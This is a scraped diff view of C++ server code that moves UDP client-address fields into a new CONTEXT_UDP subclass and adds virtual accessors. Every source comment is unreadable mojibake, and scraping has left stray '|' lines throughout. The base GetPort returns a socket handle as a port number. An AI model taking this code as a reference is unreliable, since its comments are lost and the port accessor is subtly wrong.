BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||||
std::string PeerName; // <20>Զ<EFBFBD>IP
|
std::string PeerName; // <20>Զ<EFBFBD>IP
|
||||||
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int addrLen; // for UDP
|
|
||||||
sockaddr_in clientAddr; // for UDP
|
|
||||||
|
|
||||||
VOID InitMember(SOCKET s, Server *svr)
|
VOID InitMember(SOCKET s, Server *svr)
|
||||||
{
|
{
|
||||||
@@ -297,13 +319,11 @@ public:
|
|||||||
bLogin = FALSE;
|
bLogin = FALSE;
|
||||||
m_bProxyConnected = FALSE;
|
m_bProxyConnected = FALSE;
|
||||||
server = svr;
|
server = svr;
|
||||||
clientAddr = {};
|
|
||||||
addrLen = sizeof(sockaddr_in);
|
|
||||||
}
|
}
|
||||||
Server* GetServer() {
|
Server* GetServer() {
|
||||||
return server;
|
return server;
|
||||||
}
|
}
|
||||||
VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) {
|
VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override {
|
||||||
if (server)
|
if (server)
|
||||||
server->Send2Client(this, szBuffer, ulOriginalLength);
|
server->Send2Client(this, szBuffer, ulOriginalLength);
|
||||||
}
|
}
|
||||||
@@ -322,18 +342,27 @@ public:
|
|||||||
ULONG GetBufferLength() {
|
ULONG GetBufferLength() {
|
||||||
return InDeCompressedBuffer.GetBufferLength();
|
return InDeCompressedBuffer.GetBufferLength();
|
||||||
}
|
}
|
||||||
std::string GetPeerName() const {
|
virtual std::string GetPeerName() const {
|
||||||
return PeerName;
|
return PeerName;
|
||||||
}
|
}
|
||||||
CString GetClientData(int index) const {
|
virtual int GetPort() const {
|
||||||
|
return sClientSocket;
|
||||||
|
}
|
||||||
|
CString GetClientData(int index) const override {
|
||||||
return sClientInfo[index];
|
return sClientInfo[index];
|
||||||
}
|
}
|
||||||
void GetAdditionalData(CString(&s)[RES_MAX]) const {
|
void GetAdditionalData(CString(&s)[RES_MAX]) const override {
|
||||||
for (int i = 0; i < RES_MAX; i++)
|
for (int i = 0; i < RES_MAX; i++)
|
||||||
{
|
{
|
||||||
s[i] = additonalInfo[i];
|
s[i] = additonalInfo[i];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
BOOL IsLogin() const override {
|
||||||
|
return bLogin;
|
||||||
|
}
|
||||||
|
uint64_t GetClientID() const override {
|
||||||
|
return ID;
|
||||||
|
}
|
||||||
void CancelIO() {
|
void CancelIO() {
|
||||||
SAFE_CANCELIO(sClientSocket);
|
SAFE_CANCELIO(sClientSocket);
|
||||||
}
|
}
|
||||||
@@ -427,3 +456,27 @@ public:
|
|||||||
}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
|
||||||
|
|
||||||
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
typedef CList<PCONTEXT_OBJECT> ContextObjectList;
|
||||||
|
|
||||||
|
class CONTEXT_UDP : public CONTEXT_OBJECT {
|
||||||
|
public:
|
||||||
|
int addrLen;
|
||||||
|
sockaddr_in clientAddr;
|
||||||
|
|
||||||
|
VOID InitMember(SOCKET s, Server* svr) override {
|
||||||
|
CONTEXT_OBJECT::InitMember(s, svr);
|
||||||
|
clientAddr = {};
|
||||||
|
addrLen = sizeof(sockaddr_in);
|
||||||
|
}
|
||||||
|
void Destroy() override {
|
||||||
|
delete this;
|
||||||
|
}
|
||||||
|
virtual std::string GetPeerName() const override {
|
||||||
|
char client_ip[INET_ADDRSTRLEN];
|
||||||
|
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
|
||||||
|
return client_ip;
|
||||||
|
}
|
||||||
|
virtual int GetPort() const override {
|
||||||
|
int client_port = ntohs(clientAddr.sin_port);
|
||||||
|
return client_port;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|||||||
Reference in New Issue
Block a user